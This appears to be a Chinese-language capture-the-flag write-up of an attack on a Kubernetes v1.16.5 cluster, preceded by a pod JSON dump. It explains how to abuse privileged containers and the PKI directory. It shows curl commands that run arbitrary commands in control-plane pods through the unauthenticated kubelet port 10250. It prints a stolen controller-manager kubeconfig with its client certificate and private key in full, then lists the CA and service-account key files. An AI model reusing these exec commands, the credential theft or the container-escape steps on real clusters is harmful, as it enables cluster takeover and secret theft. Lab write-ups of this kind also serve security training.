"uid": "ce02234e-3c04-4cd6-bd21-c2c04ec22234",
"controller": true,
"blockOwnerDeletion": true
}
]
},
"spec": {
"volumes": [
{
"name": "kube-proxy",
"configMap": {
"name": "kube-proxy",
"defaultMode": 420
}
},
{
"name": "xtables-lock",
"hostPath": {
"path": "/run/xtables.lock",
"type": "FileOrCreate"
}
},
{
"name": "lib-modules",
"hostPath": {
"path": "/lib/modules",
"type": ""
}
},
{
"name": "kube-proxy-token-kbw4r",
"secret": {
"secretName": "kube-proxy-token-kbw4r",
"defaultMode": 420
}
}
],
"containers": [
{
"name": "kube-proxy",
"image": "registry.aliyuncs.com/google_containers/kube-proxy:v1.16.5",
"command": [
"/usr/local/bin/kube-proxy",
"--config=/var/lib/kube-proxy/config.conf",
"--hostname-override=$(NODE_NAME)"
],
"env": [
{
"name": "NODE_NAME",
"valueFrom": {
"fieldRef": {
"apiVersion": "v1",
"fieldPath": "spec.nodeName"
}
}
}
],
"resources": {
},
"volumeMounts": [
{
"name": "kube-proxy",
"mountPath": "/var/lib/kube-proxy"
},
{
"name": "xtables-lock",
"mountPath": "/run/xtables.lock"
},
{
"name": "lib-modules",
"readOnly": true,
"mountPath": "/lib/modules"
},
{
"name": "kube-proxy-token-kbw4r",
"readOnly": true,
"mountPath": "/var/run/secrets/kubernetes.io/serviceaccount"
}
],
"terminationMessagePath": "/dev/termination-log",
"terminationMessagePolicy": "File",
"imagePullPolicy": "IfNotPresent",
"securityContext": {
"privileged": true
}
}
],
"restartPolicy": "Always",
"terminationGracePeriodSeconds": 30,
"dnsPolicy": "ClusterFirst",
"nodeSelector": {
"beta.kubernetes.io/os": "linux"
},
"serviceAccountName": "kube-proxy",
"serviceAccount": "kube-proxy",
"nodeName": "web",
"hostNetwork": true,
"securityContext": {
},
"affinity": {
"nodeAffinity": {
"requiredDuringSchedulingIgnoredDuringExecution": {
"nodeSelectorTerms": [
{
"matchFields": [
{
"key": "metadata.name",
"operator": "In",
"values": [
"web"
]
}
]
}
]
}
}
},
"schedulerName": "default-scheduler",
"tolerations": [
{
"key": "CriticalAddonsOnly",
"operator": "Exists"
},
{
"operator": "Exists"
},
{
"key": "node.kubernetes.io/not-ready",
"operator": "Exists",
"effect": "NoExecute"
},
{
"key": "node.kubernetes.io/unreachable",
"operator": "Exists",
"effect": "NoExecute"
},
{
"key": "node.kubernetes.io/disk-pressure",
"operator": "Exists",
"effect": "NoSchedule"
},
{
"key": "node.kubernetes.io/memory-pressure",
"operator": "Exists",
"effect": "NoSchedule"
},
{
"key": "node.kubernetes.io/pid-pressure",
"operator": "Exists",
"effect": "NoSchedule"
},
{
"key": "node.kubernetes.io/unschedulable",
"operator": "Exists",
"effect": "NoSchedule"
},
{
"key": "node.kubernetes.io/network-unavailable",
"operator": "Exists",
"effect": "NoSchedule"
}
],
"priorityClassName": "system-node-critical",
"priority": 2000001000,
"enableServiceLinks": true
},
"status": {
"phase": "Running",
"conditions": [
{
"type": "Initialized",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-04-16T08:19:40Z"
},
{
"type": "Ready",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-07-14T12:53:27Z"
},
{
"type": "ContainersReady",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-07-14T12:53:27Z"
},
{
"type": "PodScheduled",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-04-16T08:19:40Z"
}
],
"hostIP": "192.168.1.56",
"podIP": "192.168.1.56",
"podIPs": [
{
"ip": "192.168.1.56"
}
],
"startTime": "2026-04-16T08:19:40Z",
"containerStatuses": [
{
"name": "kube-proxy",
"state": {
"running": {
"startedAt": "2026-07-14T12:53:27Z"
}
},
"lastState": {
"terminated": {
"exitCode": 255,
"reason": "Error",
"startedAt": "2026-04-17T17:26:51Z",
"finishedAt": "2026-07-14T20:52:51Z",
"containerID": "docker://c326f93b41399ca58a0f908c4f73c348dcb15c8510d7f859318ad6c680d80ad0"
}
},
"ready": true,
"restartCount": 5,
"image": "registry.aliyuncs.com/google_containers/kube-proxy:v1.16.5",
"imageID": "docker-pullable://registry.aliyuncs.com/google_containers/kube-proxy@sha256:166939d1b8d0988d675a027f459e40fbded092887905cc1b62b7e4cb67d493c5",
"containerID": "docker://48df4ef8b8715689797003d2b1a893bae310c346917859f23f95861a736b81a6",
"started": true
}
],
"qosClass": "BestEffort"
}
}
]
}k8s 分析
- 集群版本: Kubernetes v 1.16.5 (
kube-apiserver镜像) - 节点名称:
web(从nodeName: "web"确认) - 节点 IP:
192.168.1.56(从hostIP确认) - 关键组件: etcd, kube-apiserver, kube-controller-manager, kube-scheduler, flannel, kube-proxy
- 网络模式: 所有 Pod 均配置
hostNetwork: true，意味着它们直接共享宿主机的网络栈。
A. 控制器管理器 Kubeconfig
- Pod:
kube-controller-manager-web - 挂载文件:
/etc/kubernetes/controller-manager.conf(路径:spec.volumes.kubeconfig.hostPath.path) - 分析: 这是一个标准的 Kubeconfig 文件，通常包含：
certificate-authority-data(CA 证书)client-certificate-data(客户端证书)client-key-data(客户端私钥)
- 权限:
system:controller-manager用户通常拥有集群的写权限，可以创建 Pod、读取 Secrets。 - 利用: 获取此文件后，可直接构造
kubectl命令或 API 请求操作集群。
B. 特权容器 (Privileged Containers)
- Pod:
kube-flannel-ds-7tjnc(Flannel) 和kube-proxy-j874v - 配置:
spec.containers.securityContext.privileged: true - 分析: 特权容器拥有宿主机的所有设备访问权限。虽然
hostPID未显式设置为true，但特权容器通常可以通过访问 Docker Socket (如果挂载) 或/proc/1/root(如果 PID 命名空间共享) 来逃逸。 - 利用: 进入这些容器可直接在宿主机上执行命令，读取
/flag。
C. PKI 证书目录
- Pod:
kube-apiserver-web和kube-controller-manager-web - 挂载目录:
/etc/kubernetes/pki(只读) - 分析: 该目录包含
ca.crt,apiserver.crt,apiserver.key等。- 关键点:
kube-controller-manager-web挂载了整个/etc/kubernetes/pki。如果宿主机上ca.key(CA 私钥) 位于此目录且权限允许容器 root 读取，攻击者可以伪造任何用户的证书 (包括admin)。 - 即使没有
ca.key，拥有controller-manager.conf中的私钥也足以进行认证。
- 关键点:
那么我们的目标是
任意容器内执行命令
curl -k https://172.17.0.1:10250/run/kube-system/kube-controller-manager-web/kube-controller-manager -d "cmd=cat /etc/kubernetes/controller-manager.conf"
curl -k https://172.17.0.1:10250/run/kube-system/kube-apiserver-web/kube-apiserver -d "cmd=ls -la /etc/kubernetes/pki"
拿到 kubeconfig
apiVersion: v1
clusters:
- cluster:
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUN5RENDQWJDZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJMk1EUXhOakEzTlRVME0xb1hEVE0yTURReE16QTNOVFUwTTFvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTE1qCmVOcG16aGZ0OG5oUDBNOVpSSUpyQlVXZSttVWlaZFpINzFGSysvdmNub1pub3lNWlJBTmthczgvM1huT2ZuT3YKUzlQMWJ5M2RKdFJmR1hFQ25jUXJCb3prempyaUhOa0xZb21xQUJxREJqRGpsQkZyRVdjUkFFbmZpUlJSWUhDTgpKQ3FsNlFjb3pzek5SYU5IS0JzejFhQnFYVmZYSFFWR0s4cVcyZU51cmF2UHl1eUIrclQ3U2JvL2pvKzhQVVdmCkpMWWNJcnd6U2Z5L1dkMFZlc0IwV1N5YWs3TGZRMWhweS81bTArUStsWk5ON0xsWXl6TStxSFd6VVcvajVPVHgKcDVBZXJ1RnBBbWR5M2xsNnFITERvOG5zOTZJK0pVQ2kxZGdRUE4xYUpkK1F3OGEwcUFZMGhSdVcrTjEyblUwQgowNEMvTVJvQVY5WS93TmkxSXNVQ0F3RUFBYU1qTUNFd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0RRWUpLb1pJaHZjTkFRRUxCUUFEZ2dFQkFJam1jMFdIbGY4VXp3K0tzNUdJWmhBYlZVTGMKYUxhY1lRbVNxZ3VmNlRGNlhsZkw1M0Y5MDZhQ0xBK3pKSzZHRmdzbWNYZHlEL2pPOGk4cXQweXA4Qko4aUFiRgpidTI1ZWdHMm1iT0xMY2FyMEVOcXdOMGpDSlJ5VGQxWHdFMEUzYUExYWpHWC9VUEtaS3N1bURrcUhYYXhLdk9PCk9CYzFTQThEZTNwS2xqVWxPT3FaQzcrT2laOUNOTnFvOUtPVzhRSTAxa0JaLzljbENQUWgydGpTUzlMRnV0bGQKS3lILzVWZHcxNTc5VUdtaWVRYjZmc2c3TEJ3V3MyTGIzb0x3UVprN3N1SDFNZGl0UDRnQnRuVERDZjdVaVozYwp6b1BkS2Y5cm0wajJwaU52UzBJUmw3WVZVQjRaTTBGMUhRQ0tnUUJ4U0FHZGZ2Z2luMStENDlpTHhocz0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
server: https://192.168.1.56:6443
name: kubernetes
contexts:
- context:
cluster: kubernetes
user: system:kube-controller-manager
name: system:kube-controller-manager@kubernetes
current-context: system:kube-controller-manager@kubernetes
kind: Config
preferences: {}
users:
- name: system:kube-controller-manager
user:
client-certificate-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUM1ekNDQWMrZ0F3SUJBZ0lJSnBVV2VQSnhNRHd3RFFZSktvWklodmNOQVFFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TmpBME1UWXdOelUxTkROYUZ3MHlOekEwTVRZd056VTFOVE5hTUNreApKekFsQmdOVkJBTVRIbk41YzNSbGJUcHJkV0psTFdOdmJuUnliMnhzWlhJdGJXRnVZV2RsY2pDQ0FTSXdEUVlKCktvWklodmNOQVFFQkJRQURnZ0VQQURDQ0FRb0NnZ0VCQUwzNVg4TjhQaXVGSE9NTzZOS2tFdUVJcEgySWUzSVoKWHRNdUgwMFlMUnh5Qjg3d1pHdHkyNEZxTEQvTHNwVjd3MEM1bXRYbUNYSVJoSXRZMXhtUFI0SUZzYW5CV2ExYgpIRGp1aUdRNXl1dWxZa0pFWWM0cVR5aFp6cjBzQ2NDR3gwUE1SRkc3clJzMm9lN0JFRERDMnV0aStRYjdvemxlCjQvVGgxamNrS3Y1OXByR3F5Vm9IcUdoR3JzMFFUN0dSMVFpNHNxZ2NUNWJOQmNqWHh4czlnaWZucUxXakRrZ1EKNmlMaU5YSDkyM0E0Sm5mclgyR2c0cTQ4b09WL3FkL1lXZitBcVhUYkdrN1lCTGR5WWkzRTkzTnNjU2lHVy9IZApva1Z4bU5PLytwRllnejRheTFoR20yM09GVzRTVGNFR2dNNzlzemN4YjZCTFhTSS9TK3E4U1JzQ0F3RUFBYU1uCk1DVXdEZ1lEVlIwUEFRSC9CQVFEQWdXZ01CTUdBMVVkSlFRTU1Bb0dDQ3NHQVFVRkJ3TUNNQTBHQ1NxR1NJYjMKRFFFQkN3VUFBNElCQVFBazlNVjlBc1ozQ0dsSnNUbVdBcktGVVlXejNVUHEvWWQ5c2dZYkEwNGkxS3YzaFk2MwpUZVdKUUNTVU5RcUVHUlRxWUUwckRhRTNuM1g1WER1WkdFS3R5ZHhPK1RuU3JJSmtqdEQvQmJwNkttb2pWeUE4CjF0SjRJUThJekRIdExXK2FOMlBzMFFmVS9GZGp2YVErU29lNjVTTThaUDdSYitta1Jjb1RFampHUTZGU2svR24KMVVQL3JhUmlMazVpekIweFljZFJ1cjdXenpiMWhyZjBudFBBMkJnTEFjYlc3Qy9vMnE2cWZ4NWxOWEtFOTA3WApNWVNudmVneFNsWGttMVAyZU9OOWZkbXRheDlMNTVjSVptY2dTRkJ2aGgwN3JVa3dKNFRyaDMxVnp2N1NxUWlWCjg0bWtiOFU5ak1ESTZKckFHVjNBbmlPSWNVeGZrTHBGYU91UQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
client-key-data: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcEFJQkFBS0NBUUVBdmZsZnczdytLNFVjNHc3bzBxUVM0UWlrZlloN2NobGUweTRmVFJndEhISUh6dkJrCmEzTGJnV29zUDh1eWxYdkRRTG1hMWVZSmNoR0VpMWpYR1k5SGdnV3hxY0ZaclZzY09PNklaRG5LNjZWaVFrUmgKemlwUEtGbk92U3dKd0liSFE4eEVVYnV0R3phaDdzRVFNTUxhNjJMNUJ2dWpPVjdqOU9IV055UXEvbjJtc2FySgpXZ2VvYUVhdXpSQlBzWkhWQ0xpeXFCeFBsczBGeU5mSEd6MkNKK2VvdGFNT1NCRHFJdUkxY2YzYmNEZ21kK3RmCllhRGlyanlnNVgrcDM5aFovNENwZE5zYVR0Z0V0M0ppTGNUM2MyeHhLSVpiOGQyaVJYR1kwNy82a1ZpRFBockwKV0VhYmJjNFZiaEpOd1FhQXp2MnpOekZ2b0V0ZElqOUw2cnhKR3dJREFRQUJBb0lCQUNXOFZWTmxhSXdJZ3ZadgpUYndacjA1WUF5U1VhY0QrWFNHaHRjSUFuV1ZiR1VYMzVscVpsQlNlM0c5SHJRK1laKzZCYjhveFNZc0pBOFVTClBwZnJLQThoeG1xcjUzNVI3TWM2U29sdUdXcTVqVTBRZkVVUmptdTdleCtFa2VOV1lscUxScjdkZ3NNM0ZPOXkKRmg4NWRYYndUL3NkSFEwV1ZqMmNab3JKZW1qV2dJNjNrUHg4NzJzcTZQZGdCSVhLaEhZZ2E2QXdTbnJXQjZLVwp6TVd2bzhZOStNK2kyUTE0Nm16c043NkNiTmhSbTgyMHphcDgvNkh3MTNvY3A4Mlhvd1JqYjhrRUxxNWZvQ2tlCk9acmQ5c052RW4yVWpZemNZSlpnTmFtenlZb0ZBRE9yRnRmc05HQ2RNVFdTRnorYVBMaFhWWWpLLy9WbWxCbTkKNFJtRm5CRUNnWUVBOXF1RWVtSGNsWWJGLzM3VC9wdzQ1cUp5ZnpJYitsZGsxME02RkRCUXhxZ01GOXN4V2ZEVQpOZVdtSmdRVXNEeStaVHRhTituQVBKYnJFUXdhTWtHUXVCMUg3RzM2YnBxSlFUODhqYmpjYWt2V3ViZUFQeWJLCmpNUHVtdmtUMHRLNDc5WjlTK3NFMU9tOHQzM3U0aHFXUFdCdFNWOWIwUCtjNGtmcG1WVnZZWGNDZ1lFQXhTamcKTUVweTBGVU1WL0tkeDJScmZYaFBObVlUQUc0QTBCUDdqWitGVGdHeEIzc1RRbHNOZ29kd0hzc0trcC93YzJwcAovbUhXN283ZmVnQ1JDL2Q5MjA0aWVWNjk2S2UzU3VoemNqQS9GY0tXbFZSVTZHckJwR0NudzduWHRXcG9KNzYwCnhXb2hGaENRU2ZGOVJoaUxvWCtOdmM5OFozQ0g2Q1VrSUFMd1huMENnWUFSTkZkU0hkOC93cDJ1dTA3WDlGZDMKcHA3cnhqZnpWd01lakg3Umg2a3FvZS90L2dqTUtDTDArMmFDUWtpYkhqRjlhQTFiMXY3a2V2WThReWJVbUlRYQpnMWhQNGovVVZRejdzd2hyTGhpWmhWNmRwM0hYZGNJczNVR1lKNFU5Y0JzY0IwN0g2OFZ6Z0RYOGFsa3VCZ0t5Cmx6WW9KdkdGZXo2YS9iOEtSYzQxOHdLQmdRQ3ltcUhrL1R4ZlAveExtNnlVMllLS2lqZHY5eTRWZ0pGWjdoQSsKcnBqTEhyc3BKTFJBczAxY3hxYXFMcE1vV3AwdllPSWVJTEhkTUM2QVRnMFh3eDhQVVF2bjJReSt1MWhQRXA2cQpmY3hZUVF1NndVZWR1RUF0VWFZSXA4MGlPZithcWFjSEEycHZtNWVxZElwZ3VwR2JQbnEvelR0TVZXTzR5QlNlCnJ5cmkzUUtCZ1FDeENScXR5bU1BWURSRi9SSGt2SHdXZjh4YnJqN2lORlhZeVp6bTNaUEZQcTNFSDFtOGs5UTcKNW1TNzhaNFNuRFN1QlpGTUM1enJRQ0h1RTdBYVl0M01LblFhQTg4QUlFMjlyUlE0Y3doWXZWQTlzaWc0clJqTwpOMFhxbHhTbDhKdmRXWTBDTFBsamprdnAwT2dRdzNHNHVBalpvQVhzeEJkdlRRZnNJaGVRN0E9PQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=如果开启了 6443 端口就可以控制集群，创建特权 Pod，但是这里没有
所以需要 PKI，读取 PKI 下所有的证书
-rw-r--r-- 1 root root 1090 Apr 16 07:55 apiserver-etcd-client.crt
-rw------- 1 root root 1679 Apr 16 07:55 apiserver-etcd-client.key
-rw-r--r-- 1 root root 1099 Apr 16 07:55 apiserver-kubelet-client.crt
-rw------- 1 root root 1675 Apr 16 07:55 apiserver-kubelet-client.key
-rw-r--r-- 1 root root 1212 Apr 16 07:55 apiserver.crt
-rw------- 1 root root 1675 Apr 16 07:55 apiserver.key
-rw-r--r-- 1 root root 1025 Apr 16 07:55 ca.crt
-rw------- 1 root root 1675 Apr 16 07:55 ca.key
drwxr-xr-x 2 root root 4096 Apr 16 07:55 etcd
-rw-r--r-- 1 root root 1038 Apr 16 07:55 front-proxy-ca.crt
-rw------- 1 root root 1679 Apr 16 07:55 front-proxy-ca.key
-rw-r--r-- 1 root root 1058 Apr 16 07:55 front-proxy-client.crt
-rw------- 1 root root 1679 Apr 16 07:55 front-proxy-client.key
-rw------- 1 root root 1675 Apr 16 07:55 sa.key
-rw------- 1 root root 451 Apr 16 07:55 sa.pub